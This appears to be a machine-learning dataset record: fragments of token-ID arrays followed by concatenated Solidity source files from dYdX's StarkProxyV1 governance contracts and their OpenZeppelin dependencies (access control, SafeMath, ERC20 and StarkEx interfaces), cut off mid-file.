389,
26983,
1887,
1021,
6835,
1758,
434,
326,
9229,
225,
389,
82,
1222,
8924,
1887,
423,
4464,
6835,
358,
999,
327,
1731,
1578,
1651,
434,
777,
4259,
924,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1651,
1972,
12,
203,
3639,
1731,
1578,
389,
14044,
16,
203,
3639,
1758,
389,
26983,
1887,
16,
1377,
203,
3639,
1758,
389,
82,
1222,
8924,
1887,
203,
565,
262,
203,
3639,
1071,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
1578,
13,
203,
565,
288,
203,
3639,
327,
417,
24410,
581,
5034,
12,
203,
5411,
24126,
18,
3015,
12,
203,
7734,
3492,
18575,
67,
2399,
16,
203,
7734,
389,
14044,
16,
7010,
7734,
389,
26983,
1887,
16,
7010,
7734,
389,
82,
1222,
8924,
1887,
203,
5411,
262,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './Context.sol';
import './Strings.sol';
import './ERC165.sol';
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Context, IAccessControlUpgradeable, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IAccessControlUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
'AccessControl: account ',
Strings.toHexString(uint160(account), 20),
' is missing role ',
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), 'AccessControl: can only renounce roles for self');
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = '0123456789abcdef';
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return '0';
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return '0x00';
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = '0';
buffer[1] = 'x';
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, 'Strings: hex length insufficient');
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './IERC165.sol';
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import {
AccessControlUpgradeable
} from '../../../dependencies/open-zeppelin/AccessControlUpgradeable.sol';
import { ReentrancyGuard } from '../../../utils/ReentrancyGuard.sol';
import { VersionedInitializable } from '../../../utils/VersionedInitializable.sol';
/**
* @title SP1Storage
* @author dYdX
*
* @dev Storage contract. Contains or inherits from all contracts with storage.
*/
abstract contract SP1Storage is
AccessControlUpgradeable,
ReentrancyGuard,
VersionedInitializable
{
// ============ Modifiers ============
/**
* @dev Modifier to ensure the STARK key is allowed.
*/
modifier onlyAllowedKey(
uint256 starkKey
) {
require(_ALLOWED_STARK_KEYS_[starkKey], 'SP1Storage: STARK key is not on the allowlist');
_;
}
/**
* @dev Modifier to ensure the recipient is allowed.
*/
modifier onlyAllowedRecipient(
address recipient
) {
require(_ALLOWED_RECIPIENTS_[recipient], 'SP1Storage: Recipient is not on the allowlist');
_;
}
// ============ Storage ============
mapping(uint256 => bool) internal _ALLOWED_STARK_KEYS_;
mapping(address => bool) internal _ALLOWED_RECIPIENTS_;
/// @dev Note that withdrawals are always permitted if the amount is in excess of the borrowed
/// amount. Also, this approval only applies to the primary ERC20 token, `TOKEN`.
uint256 internal _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_;
/// @dev Note that this is different from _IS_BORROWING_RESTRICTED_ in LiquidityStakingV1.
bool internal _IS_BORROWING_RESTRICTED_;
/// @dev Mapping from args hash to timestamp.
mapping(bytes32 => uint256) internal _QUEUED_FORCED_TRADE_TIMESTAMPS_;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @title ReentrancyGuard
* @author dYdX
*
* @dev Updated ReentrancyGuard library designed to be used with Proxy Contracts.
*/
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = uint256(int256(-1));
uint256 private _STATUS_;
constructor()
internal
{
_STATUS_ = NOT_ENTERED;
}
modifier nonReentrant() {
require(_STATUS_ != ENTERED, 'ReentrancyGuard: reentrant call');
_STATUS_ = ENTERED;
_;
_STATUS_ = NOT_ENTERED;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
/**
* @title VersionedInitializable
* @author Aave, inspired by the OpenZeppelin Initializable contract
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 internal lastInitializedRevision = 0;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(revision > lastInitializedRevision, "Contract instance has already been initialized");
lastInitializedRevision = revision;
_;
}
/// @dev returns the revision number of the contract.
/// Needs to be defined in the inherited class as a constant.
function getRevision() internal pure virtual returns(uint256);
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { Math } from '../../../utils/Math.sol';
import { SP1Storage } from './SP1Storage.sol';
/**
* @title SP1Getters
* @author dYdX
*
* @dev Simple external getter functions.
*/
abstract contract SP1Getters is
SP1Storage
{
using SafeMath for uint256;
// ============ External Functions ============
/**
* @notice Check whether a STARK key is on the allowlist for exchange operations.
*
* @param starkKey The STARK key to check.
*
* @return Boolean `true` if the STARK key is allowed, otherwise `false`.
*/
function isStarkKeyAllowed(
uint256 starkKey
)
external
view
returns (bool)
{
return _ALLOWED_STARK_KEYS_[starkKey];
}
/**
* @notice Check whether a recipient is on the allowlist to receive withdrawals.
*
* @param recipient The recipient to check.
*
* @return Boolean `true` if the recipient is allowed, otherwise `false`.
*/
function isRecipientAllowed(
address recipient
)
external
view
returns (bool)
{
return _ALLOWED_RECIPIENTS_[recipient];
}
/**
* @notice Get the amount approved by the guardian for external withdrawals.
* Note that withdrawals are always permitted if the amount is in excess of the borrowed amount.
*
* @return The amount approved for external withdrawals.
*/
function getApprovedAmountForExternalWithdrawal()
external
view
returns (uint256)
{
return _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_;
}
/**
* @notice Check whether this borrower contract is restricted from new borrowing, as well as
* restricted from depositing borrowed funds to the exchange.
*
* @return Boolean `true` if the borrower is restricted, otherwise `false`.
*/
function isBorrowingRestricted()
external
view
returns (bool)
{
return _IS_BORROWING_RESTRICTED_;
}
/**
* @notice Get the timestamp at which a forced trade request was queued.
*
* @param argsHash The hash of the forced trade request args.
*
* @return Timestamp at which the forced trade was queued, or zero, if it was not queued or was
* vetoed by the VETO_GUARDIAN_ROLE.
*/
function getQueuedForcedTradeTimestamp(
bytes32 argsHash
)
external
view
returns (uint256)
{
return _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash];
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
/**
* @title Math
* @author dYdX
*
* @dev Library for non-standard Math functions.
*/
library Math {
using SafeMath for uint256;
// ============ Library Functions ============
/**
* @dev Return `ceil(numerator / denominator)`.
*/
function divRoundUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
if (numerator == 0) {
// SafeMath will check for zero denominator
return SafeMath.div(0, denominator);
}
return numerator.sub(1).div(denominator).add(1);
}
/**
* @dev Returns the minimum between a and b.
*/
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
/**
* @dev Returns the maximum between a and b.
*/
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
// Contracts by dYdX Foundation. Individual files are released under different licenses.
//
// https://dydx.community
// https://github.com/dydxfoundation/governance-contracts
//
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IERC20 } from '../../interfaces/IERC20.sol';
import { ILiquidityStakingV1 } from '../../interfaces/ILiquidityStakingV1.sol';
import { IMerkleDistributorV1 } from '../../interfaces/IMerkleDistributorV1.sol';
import { IStarkPerpetual } from '../../interfaces/IStarkPerpetual.sol';
import { SafeERC20 } from '../../dependencies/open-zeppelin/SafeERC20.sol';
import { SP1Withdrawals } from './impl/SP1Withdrawals.sol';
import { SP1Getters } from './impl/SP1Getters.sol';
import { SP1Guardian } from './impl/SP1Guardian.sol';
import { SP1Owner } from './impl/SP1Owner.sol';
/**
* @title StarkProxyV1
* @author dYdX
*
* @notice Proxy contract allowing a LiquidityStaking borrower to use borrowed funds (as well as
* their own funds, if desired) on the dYdX L2 exchange. Restrictions are put in place to
* prevent borrowed funds being used outside the exchange. Furthermore, a guardian address is
* specified which has the ability to restrict borrows and make repayments.
*
* Owner actions may be delegated to various roles as defined in SP1Roles. Other actions are
* available to guardian roles, to be nominated by dYdX governance.
*/
contract StarkProxyV1 is
SP1Guardian,
SP1Owner,
SP1Withdrawals,
SP1Getters
{
using SafeERC20 for IERC20;
// ============ Constructor ============
constructor(
ILiquidityStakingV1 liquidityStaking,
IStarkPerpetual starkPerpetual,
IERC20 token,
IMerkleDistributorV1 merkleDistributor
)
SP1Guardian(liquidityStaking, starkPerpetual, token)
SP1Withdrawals(merkleDistributor)
{}
// ============ External Functions ============
function initialize(address guardian)
external
initializer
{
__SP1Roles_init(guardian);
TOKEN.safeApprove(address(LIQUIDITY_STAKING), uint256(-1));
TOKEN.safeApprove(address(STARK_PERPETUAL), uint256(-1));
}
// ============ Internal Functions ============
/**
* @dev Returns the revision of the implementation contract.
*
* @return The revision number.
*/
function getRevision()
internal
pure
override
returns (uint256)
{
return 1;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @title ILiquidityStakingV1
* @author dYdX
*
* @notice Partial interface for LiquidityStakingV1.
*/
interface ILiquidityStakingV1 {
function getToken() external view virtual returns (address);
function getBorrowedBalance(address borrower) external view virtual returns (uint256);
function getBorrowerDebtBalance(address borrower) external view virtual returns (uint256);
function isBorrowingRestrictedForBorrower(address borrower) external view virtual returns (bool);
function getTimeRemainingInEpoch() external view virtual returns (uint256);
function inBlackoutWindow() external view virtual returns (bool);
// LS1Borrowing
function borrow(uint256 amount) external virtual;
function repayBorrow(address borrower, uint256 amount) external virtual;
function getAllocatedBalanceCurrentEpoch(address borrower)
external
view
virtual
returns (uint256);
function getAllocatedBalanceNextEpoch(address borrower) external view virtual returns (uint256);
function getBorrowableAmount(address borrower) external view virtual returns (uint256);
// LS1DebtAccounting
function repayDebt(address borrower, uint256 amount) external virtual;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @title IMerkleDistributorV1
* @author dYdX
*
* @notice Partial interface for the MerkleDistributorV1 contract.
*/
interface IMerkleDistributorV1 {
function getIpnsName()
external
virtual
view
returns (string memory);
function getRewardsParameters()
external
virtual
view
returns (uint256, uint256, uint256);
function getActiveRoot()
external
virtual
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid);
function getNextRootEpoch()
external
virtual
view
returns (uint256);
function claimRewards(
uint256 cumulativeAmount,
bytes32[] calldata merkleProof
)
external
returns (uint256);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @title IStarkPerpetual
* @author dYdX
*
* @notice Partial interface for the StarkPerpetual contract, for accessing the dYdX L2 exchange.
* @dev See https://github.com/starkware-libs/starkex-contracts
*/
interface IStarkPerpetual {
function registerUser(
address ethKey,
uint256 starkKey,
bytes calldata signature
) external;
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
) external;
function withdraw(uint256 starkKey, uint256 assetType) external;
function forcedWithdrawalRequest(
uint256 starkKey,
uint256 vaultId,
uint256 quantizedAmount,
bool premiumCost
) external;
function forcedTradeRequest(
uint256 starkKeyA,
uint256 starkKeyB,
uint256 vaultIdA,
uint256 vaultIdB,
uint256 collateralAssetId,
uint256 syntheticAssetId,
uint256 amountCollateral,
uint256 amountSynthetic,
bool aIsBuyingSynthetic,
uint256 submissionExpirationTime,
uint256 nonce,
bytes calldata signature,
bool premiumCost
) external;
function mainAcceptGovernance() external;
function proxyAcceptGovernance() external;
function mainRemoveGovernor(address governorForRemoval) external;
function proxyRemoveGovernor(address governorForRemoval) external;
function registerAssetConfigurationChange(uint256 assetId, bytes32 configHash) external;
function applyAssetConfigurationChange(uint256 assetId, bytes32 configHash) external;
function registerGlobalConfigurationChange(bytes32 configHash) external;
function applyGlobalConfigurationChange(bytes32 configHash) external;
function getEthKey(uint256 starkKey) external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import { IERC20 } from '../../interfaces/IERC20.sol';
import { SafeMath } from './SafeMath.sol';
import { Address } from './Address.sol';
/**
* @title SafeERC20
* @dev From https://github.com/OpenZeppelin/openzeppelin-contracts
* Wrappers around ERC20 operations that throw on failure (when the token
